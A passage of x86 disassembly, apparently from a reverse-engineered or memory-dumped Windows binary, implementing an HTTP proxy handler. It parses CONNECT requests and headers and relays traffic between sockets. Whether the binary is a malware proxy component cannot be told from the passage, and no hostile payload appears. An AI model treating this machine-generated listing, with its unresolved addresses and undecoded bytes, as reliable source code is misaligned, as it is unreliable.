ptr [esp+54B0h], 1 call sub_401280 add esp, 10h test al, al jz loc_42A600 lea edx, [esp+394h] lea ecx, [esp+30h] push edx call sub_401870 push offset byte_448F30 lea ecx, [esp+34h] mov byte ptr [esp+54A4h], 2 call sub_4012EE test eax, eax jnz short loc_4296A0 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A570 ; --------------------------------------------------------------------------- loc_4296A0: ; CODE XREF: ___:00429664j push offset asc_444600 ; " " lea eax, [esp+234h] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset off_447214 mov ecx, eax mov byte ptr [esp+54A4h], 3 call sub_40150A test eax, eax lea ecx, [esp+230h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz short loc_429765 push offset asc_444600 ; " " lea ecx, [esp+21Ch] push 1 push ecx lea ecx, [esp+3Ch] mov byte ptr [esp+1Fh], 1 call sub_4016B8 lea edx, [esp+0B8h] mov ecx, eax push edx mov byte ptr [esp+54A4h], 4 call sub_4017EE push eax call sub_401947 add esp, 8 lea ecx, [esp+218h] test al, al setz bl mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A5EF push offset aHttp ; "http" lea ecx, [esp+0BCh] call sub_4012EE test eax, eax jnz loc_42A5EF jmp loc_42995A ; --------------------------------------------------------------------------- loc_429765: ; CODE XREF: ___:004296E7j push offset asc_444600 ; " " lea eax, [esp+24Ch] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+54A4h], 5 call sub_40150A test eax, eax lea ecx, [esp+248h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz loc_42995A push offset aConnect ; "connect" lea ecx, [esp+0BCh] mov byte ptr [esp+17h], 0 call sub_4015E1 push offset byte_448F30 lea ecx, [esp+114h] call sub_4015E1 push offset asc_444600 ; " " lea ecx, [esp+12Ch] push 1 push ecx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C6C ; ":" lea edx, [esp+174h] push 0 push edx mov ecx, eax mov byte ptr [esp+54ACh], 6 call sub_4016B8 push eax lea ecx, [esp+0D1h] mov byte ptr [esp+54A4h], 7 call sub_401FDC lea ecx, [esp+170h] mov byte ptr [esp+54A0h], 6 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+54A0h], 2 call sub_401226 push offset asc_444600 ; " " lea eax, [esp+27Ch] push 1 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C6C ; ":" lea ecx, [esp+1A4h] push 1 push ecx mov ecx, eax mov byte ptr [esp+54ACh], 8 call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 9 call sub_4017EE test eax, eax lea ecx, [esp+1A0h] mov byte ptr [esp+54A0h], 8 setz bl call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A5EF push offset asc_444600 ; " " lea edx, [esp+264h] push 1 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C6C ; ":" lea ecx, [esp+1D4h] push 1 push ecx mov ecx, eax mov byte ptr [esp+54ACh], 0Ah call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 0Bh call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+1D0h] mov [esp+10Ch], eax mov byte ptr [esp+54A0h], 0Ah call sub_401226 lea ecx, [esp+260h] mov byte ptr [esp+54A0h], 2 call sub_401226 mov eax, [esp+10Ch] test eax, eax jnz short loc_42995A mov dword ptr [esp+10Ch], 50h loc_42995A: ; CODE XREF: ___:00429760j ; ___:004297ACj ... push offset asc_444600 ; " " lea edx, [esp+4Ch] push 0 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F30 lea ecx, [esp+4Ch] mov byte ptr [esp+54A4h], 0Ch call sub_4012EE test eax, eax jz loc_42A5DE push offset asc_444600 ; " " lea eax, [esp+64h] push 2 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F30 lea ecx, [esp+64h] mov byte ptr [esp+54A4h], 0Dh call sub_4012EE test eax, eax jz loc_42A5CD lea ecx, [esp+0CDh] push ecx lea ecx, [esp+8Ch] call sub_4014D3 mov ecx, 1000h xor eax, eax lea edi, [esp+498h] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+4498h] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+54A0h], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+4498h] and ecx, 3 rep movsb mov esi, offset asc_4471EC ; "\r\n" loc_429A21: ; CODE XREF: ___:00429A3Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429A45 test cl, cl jz short loc_429A41 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429A45 add eax, 2 add esi, 2 test cl, cl jnz short loc_429A21 loc_429A41: ; CODE XREF: ___:00429A2Bj xor eax, eax jmp short loc_429A49 ; --------------------------------------------------------------------------- loc_429A45: ; CODE XREF: ___:00429A27j ; ___:00429A35j sbb eax, eax sbb eax, ebx loc_429A49: ; CODE XREF: ___:00429A43j test eax, eax jz loc_429B23 mov edi, dword_511AD8 loc_429A57: ; CODE XREF: ___:00429B1Dj mov esi, offset byte_448F30 lea eax, [esp+4498h] loc_429A63: ; CODE XREF: ___:00429A81j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429A87 test cl, cl jz short loc_429A83 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429A87 add eax, 2 add esi, 2 test cl, cl jnz short loc_429A63 loc_429A83: ; CODE XREF: ___:00429A6Dj xor eax, eax jmp short loc_429A8B ; --------------------------------------------------------------------------- loc_429A87: ; CODE XREF: ___:00429A69j ; ___:00429A77j sbb eax, eax sbb eax, ebx loc_429A8B: ; CODE XREF: ___:00429A85j test eax, eax jz loc_429B23 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+449Ch] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A629 lea edx, [esp+4498h] push 4000h lea eax, [esp+49Ch] push edx push eax call edi ; strncat push 4000h lea ecx, [esp+4A8h] push offset asc_4471EC ; "\r\n" push ecx call edi ; strncat add esp, 18h mov esi, offset asc_4471EC ; "\r\n" lea eax, [esp+4498h] loc_429AF3: ; CODE XREF: ___:00429B11j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429B17 test cl, cl jz short loc_429B13 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429B17 add eax, 2 add esi, 2 test cl, cl jnz short loc_429AF3 loc_429B13: ; CODE XREF: ___:00429AFDj xor eax, eax jmp short loc_429B1B ; --------------------------------------------------------------------------- loc_429B17: ; CODE XREF: ___:00429AF9j ; ___:00429B07j sbb eax, eax sbb eax, ebx loc_429B1B: ; CODE XREF: ___:00429B15j test eax, eax jnz loc_429A57 loc_429B23: ; CODE XREF: ___:00429A4Bj ; ___:00429A8Dj mov esi, dword_511B04 lea eax, [esp+498h] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi ; strstr add esp, 8 test eax, eax jz short loc_429B77 push offset asc_444C6C ; ":" push eax call esi ; strstr add esp, 8 inc eax jz short loc_429B77 cmp byte ptr [eax], 20h jnz short loc_429B5B loc_429B52: ; CODE XREF: ___:00429B59j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_429B52 loc_429B5B: ; CODE XREF: ___:00429B50j push offset aKeepAlive ; "Keep-Alive" push eax call near ptr 77C4624Eh nop add esp, 8 test eax, eax jz short loc_429B77 mov byte ptr [ebp+0BAh], 1 jmp short loc_429B7E ; --------------------------------------------------------------------------- loc_429B77: ; CODE XREF: ___:00429B3Dj ; ___:00429B4Bj ... mov byte ptr [ebp+0BAh], 0 loc_429B7E: ; CODE XREF: ___:00429B75j cmp [ebp+0BFh], ebx jnz loc_429C16 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, ebx mov [ebp+0BFh], eax jz loc_42A6FD mov edx, [esp+10Ch] xor ecx, ecx mov [esp+78h], ecx push edx mov [esp+80h], ecx mov word ptr [esp+7Ch], 2 mov [esp+84h], ecx mov [esp+88h], ecx nop call near ptr 71AB2B66h lea ecx, [esp+0CDh] mov [esp+7Ah], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, ebx mov [esp+7Ch], eax jz loc_42A63B mov ecx, [ebp+0BFh] lea eax, [esp+78h] push 10h push eax push ecx nop call near ptr 71AB406Ah cmp eax, ebx jz loc_42A698 loc_429C16: ; CODE XREF: ___:00429B84j mov al, [esp+13h] test al, al jz loc_42A2BE mov al, [ebp+0BAh] test al, al jz short loc_429C61 lea edx, [esp+498h] lea ecx, [esp+60h] push edx call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea eax, [esp+24h] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_429C94 ; --------------------------------------------------------------------------- loc_429C61: ; CODE XREF: ___:00429C2Aj lea ecx, [esp+498h] push ecx lea ecx, [esp+64h] call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea edx, [esp+24h] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_429C94: ; CODE XREF: ___:00429C5Fj call sub_40102D add esp, 18h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE push eax mov eax, [ebp+0BFh] push eax nop call near ptr 71AB428Ah test eax, eax jz loc_42A6E2 cmp eax, ebx jz loc_42A6E2 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42A70F mov edi, offset asc_4471EC ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah xor ebx, ebx mov esi, offset asc_4471EC ; "\r\n" mov [esp+2Ch], ebx lea eax, [esp+498h] loc_429D5E: ; CODE XREF: ___:00429D7Cj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429D82 test cl, cl jz short loc_429D7E mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429D82 add eax, 2 add esi, 2 test cl, cl jnz short loc_429D5E loc_429D7E: ; CODE XREF: ___:00429D68j xor eax, eax jmp short loc_429D87 ; --------------------------------------------------------------------------- loc_429D82: ; CODE XREF: ___:00429D64j ; ___:00429D72j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429D87: ; CODE XREF: ___:00429D80j test eax, eax jz loc_42A109 loc_429D8F: ; CODE XREF: ___:0042A0F8j mov esi, offset byte_448F30 lea eax, [esp+498h] loc_429D9B: ; CODE XREF: ___:00429DBDj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_429DC3 test cl, cl jz short loc_429DBF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_429DC3 add eax, 2 add esi, 2 test cl, cl jnz short loc_429D9B loc_429DBF: ; CODE XREF: ___:00429DA7j xor eax, eax jmp short loc_429DC8 ; --------------------------------------------------------------------------- loc_429DC3: ; CODE XREF: ___:00429DA3j ; ___:00429DB3j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429DC8: ; CODE XREF: ___:00429DC1j test eax, eax jz loc_42A105 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A100 lea edx, [esp+498h] lea ecx, [esp+0A0h] push edx call sub_401870 push offset asc_444600 ; " " lea eax, [esp+204h] push 0 push eax lea ecx, [esp+0ACh] mov byte ptr [esp+54ACh], 0Fh call sub_4016B8 push offset aContentLength ; "Content-Length:" mov ecx, eax mov byte ptr [esp+54A4h], 10h call sub_40150A test eax, eax lea ecx, [esp+200h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429EAA push offset asc_444600 ; " " lea ecx, [esp+144h] push 1 push ecx lea ecx, [esp+0ACh] call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 11h call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+140h] mov [esp+2Ch], eax mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429EAA: ; CODE XREF: ___:00429E5Cj push offset asc_444600 ; " " lea edx, [esp+15Ch] push 0 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov byte ptr [esp+54A4h], 12h call sub_40150A test eax, eax lea ecx, [esp+158h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429F39 push offset asc_444600 ; " " lea eax, [esp+18Ch] push 1 push eax lea ecx, [esp+0ACh] call sub_4016B8 push offset aChunked ; "chunked" mov ecx, eax mov byte ptr [esp+54A4h], 13h call sub_40150A lea ecx, [esp+188h] mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429F39: ; CODE XREF: ___:00429EF4j push offset asc_444600 ; " " lea ecx, [esp+1BCh] push 0 push ecx lea ecx, [esp+0ACh] call sub_4016B8 push offset aConnection ; "Connection:" mov ecx, eax mov byte ptr [esp+54A4h], 14h call sub_40150A test eax, eax lea ecx, [esp+1B8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429FD4 push offset asc_444600 ; " " lea edx, [esp+1ECh] push 1 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov byte ptr [esp+54A4h], 15h call sub_40150A test eax, eax lea ecx, [esp+1E8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl setnz byte ptr [esp+11h] loc_429FD4: ; CODE XREF: ___:00429F83j mov esi, offset asc_4471EC ; "\r\n" lea eax, [esp+498h] loc_429FE0: ; CODE XREF: ___:0042A002j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A008 test cl, cl jz short loc_42A004 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A008 add eax, 2 add esi, 2 test cl, cl jnz short loc_429FE0 loc_42A004: ; CODE XREF: ___:00429FECj xor eax, eax jmp short loc_42A00D ; --------------------------------------------------------------------------- loc_42A008: ; CODE XREF: ___:00429FE8j ; ___:00429FF8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A00D: ; CODE XREF: ___:0042A006j test eax, eax jz loc_42A0A9 mov esi, offset byte_448F30 lea eax, [esp+498h] loc_42A021: ; CODE XREF: ___:0042A043j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A049 test cl, cl jz short loc_42A045 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A049 add eax, 2 add esi, 2 test cl, cl jnz short loc_42A021 loc_42A045: ; CODE XREF: ___:0042A02Dj xor eax, eax jmp short loc_42A04E ; --------------------------------------------------------------------------- loc_42A049: ; CODE XREF: ___:0042A029j ; ___:0042A039j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A04E: ; CODE XREF: ___:0042A047j test eax, eax jz short loc_42A0A9 mov edi, offset asc_4471EC ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_42A0A9: ; CODE XREF: ___:0042A00Fj ; ___:0042A050j lea ecx, [esp+0A0h] mov byte ptr [esp+54A0h], 0Eh call sub_401226 mov esi, offset asc_4471EC ; "\r\n" lea eax, [esp+498h] loc_42A0C9: ; CODE XREF: ___:0042A0EBj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A0F1 test cl, cl jz short loc_42A0ED mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A0F1 add eax, 2 add esi, 2 test cl, cl jnz short loc_42A0C9 loc_42A0ED: ; CODE XREF: ___:0042A0D5j xor eax, eax jmp short loc_42A0F6 ; --------------------------------------------------------------------------- loc_42A0F1: ; CODE XREF: ___:0042A0D1j ; ___:0042A0E1j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A0F6: ; CODE XREF: ___:0042A0EFj test eax, eax jnz loc_429D8F jmp short loc_42A105 ; --------------------------------------------------------------------------- loc_42A100: ; CODE XREF: ___:00429DF0j mov byte ptr [esp+12h], 1 loc_42A105: ; CODE XREF: ___:00429DCAj ; ___:0042A0FEj mov ebx, [esp+2Ch] loc_42A109: ; CODE XREF: ___:00429D89j mov al, [esp+11h] push 0 test al, al jz short loc_42A131 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_42A14D ; --------------------------------------------------------------------------- loc_42A131: ; CODE XREF: ___:0042A111j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_42A14D: ; CODE XREF: ___:0042A12Fj nop call near ptr 71AB428Ah mov edi, offset asc_4471EC ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+4A0h] push ecx push edx nop call near ptr 71AB428Ah test ebx, ebx jz loc_42A27C xor edi, edi test ebx, ebx jle short loc_42A204 loc_42A1B3: ; CODE XREF: ___:0042A202j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_42A204 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_42A204 cmp esi, 0FFFFFFFFh jz short loc_42A204 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+49Ch] push esi push eax push ecx nop call near ptr 71AB428Ah add edi, esi cmp edi, ebx jl short loc_42A1B3 loc_42A204: ; CODE XREF: ___:0042A1B1j ; ___:0042A1BCj ... mov eax, ebx sub eax, edi jz short loc_42A24E loc_42A20A: ; CODE XREF: ___:0042A24Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+4A0h] push edx push eax nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_42A24E cmp esi, 0FFFFFFFFh jz short loc_42A24E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+49Ch] push esi push ecx push edx nop call near ptr 71AB428Ah add edi, esi mov eax, ebx sub eax, edi jnz short loc_42A20A loc_42A24E: ; CODE XREF: ___:0042A208j ; ___:0042A227j ... mov al, [ebp+0BAh] test al, al jnz loc_42A4DF mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h or esi, 0FFFFFFFFh mov byte ptr [esp+12h], 1 mov [ebp+0BBh], esi jmp loc_42A4E2 ; --------------------------------------------------------------------------- loc_42A27C: ; CODE XREF: ___:0042A1A7j mov esi, dword_511CA4 loc_42A282: ; CODE XREF: ___:0042A2BCj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call esi ; recv cmp eax, 1 jl short loc_42A24E cmp eax, 0FFFFFFFFh jz short loc_42A24E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+4A0h] push edx push eax nop call near ptr 71AB428Ah jmp short loc_42A282 ; --------------------------------------------------------------------------- loc_42A2BE: ; CODE XREF: ___:00429C1Cj lea ecx, [esp+14h] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah test eax, eax jz loc_42A782 cmp eax, ebx jz loc_42A782 mov ebx, dword_511CA4 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+294h], eax mov dword ptr [esp+290h], 1 xor eax, eax lea ecx, [esp+294h] loc_42A330: ; CODE XREF: ___:0042A33Bj cmp [ecx], edx jz short loc_42A33D inc eax add ecx, 4 cmp eax, 1 jb short loc_42A330 loc_42A33D: ; CODE XREF: ___:0042A332j cmp eax, 1 jnz short loc_42A354 mov [esp+298h], edx mov dword ptr [esp+290h], 2 loc_42A354: ; CODE XREF: ___:0042A340j mov ecx, 1000h xor eax, eax lea edi, [esp+498h] push eax rep stosd push eax lea ecx, [esp+298h] push eax push ecx push eax nop call near ptr 71AB2DC0h mov eax, [ebp+0BBh] lea edx, [esp+290h] push edx push eax call sub_438256 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h dd 0DE72h, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689E69E8h dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 68F07FE8h, 333D9071h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 68F02BE8h, 333D9071h dd 75000027h, 90016A0Dh, 425DF7E8h, 0FE43E902h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42A4DF: ; CODE XREF: ___:0042A256j or esi, 0FFFFFFFFh loc_42A4E2: ; CODE XREF: ___:0042A277j mov al, [esp+11h] test al, al jnz short loc_42A502 mov edx, [ebp+0BFh] push edx nop call near ptr 71AB9639h mov [ebp+0BFh], esi mov byte ptr [esp+12h], 1 loc_42A502: ; CODE XREF: ___:0042A4E8j lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA or esi, 0FFFFFFFFh loc_42A570: ; CODE XREF: ___:0042969Bj mov al, [esp+12h] test al, al jz loc_4295E8 loc_42A57C: ; CODE XREF: ___:0042A624j ; ___:0042A77Dj mov al, [ebp+0BAh] test al, al jz short loc_42A599 mov eax, [ebp+0BBh] push eax call near ptr 71AB9639h nop mov [ebp+0BBh], esi loc_42A599: ; CODE XREF: ___:0042A584j mov al, [esp+11h] test al, al jz short loc_42A5B4 mov ecx, [ebp+0BFh] push ecx call near ptr 71AB9639h nop mov [ebp+0BFh], esi loc_42A5B4: ; CODE XREF: ___:0042A59Fj ; ___:0042A805j mov ecx, [esp+5498h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_42A5CD: ; CODE XREF: ___:004299BAj lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 loc_42A5DE: ; CODE XREF: ___:00429987j lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 loc_42A5EF: ; CODE XREF: ___:00429741j ; ___:0042975Aj ... lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 loc_42A600: ; CODE XREF: ___:00429635j lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A57C ; --------------------------------------------------------------------------- loc_42A629: ; CODE XREF: ___:00429AB3j mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h jmp loc_42A79A ; --------------------------------------------------------------------------- loc_42A63B: ; CODE XREF: ___:00429BF4j lea ecx, [esp+0CDh] call sub_4017EE push eax lea ecx, [esp+18h] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx nop call near ptr 71AB428Ah mov eax, [ebp+0BBh] mov esi, dword_511C9C push eax call esi ; closesocket mov ecx, [ebp+0BFh] push ecx jmp loc_42A798 ; --------------------------------------------------------------------------- loc_42A698: ; CODE XREF: ___:00429C10j mov edx, [esp+10Ch] lea ecx, [esp+0CDh] push edx call sub_4017EE push eax lea eax, [esp+1Ch] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov ecx, [ebp+0BBh] push eax push ecx call near ptr 71AB428Ah nop loc_42A6E2: ; CODE XREF: ___:00429CC1j ; ___:00429CC9j mov edx, [ebp+0BBh] mov esi, dword_511C9C push edx call esi ; closesocket mov eax, [ebp+0BFh] push eax jmp loc_42A798 ; --------------------------------------------------------------------------- loc_42A6FD: ; CODE XREF: ___:00429B9Ej mov ecx, [ebp+0BBh] push ecx call near ptr 71AB9639h nop jmp loc_42A79A ; --------------------------------------------------------------------------- loc_42A70F: ; CODE XREF: ___:00429CEFj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA or esi, 0FFFFFFFFh jmp loc_42A57C ; --------------------------------------------------------------------------- loc_42A782: ; CODE XREF: ___:0042A2F5j ; ___:0042A2FDj mov ecx, [ebp+0BBh] mov esi, dword_511C9C push ecx call esi ; closesocket mov edx, [ebp+0BFh] push edx loc_42A798: ; CODE XREF: ___:0042A693j ; ___:0042A6F8j call esi ; closesocket loc_42A79A: ; CODE XREF: ___:0042A636j ; ___:0042A70Aj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA jmp loc_42A5B4 ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42ACB0 proc near ; CODE XREF: sub_4018EDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42ACB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F15C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h 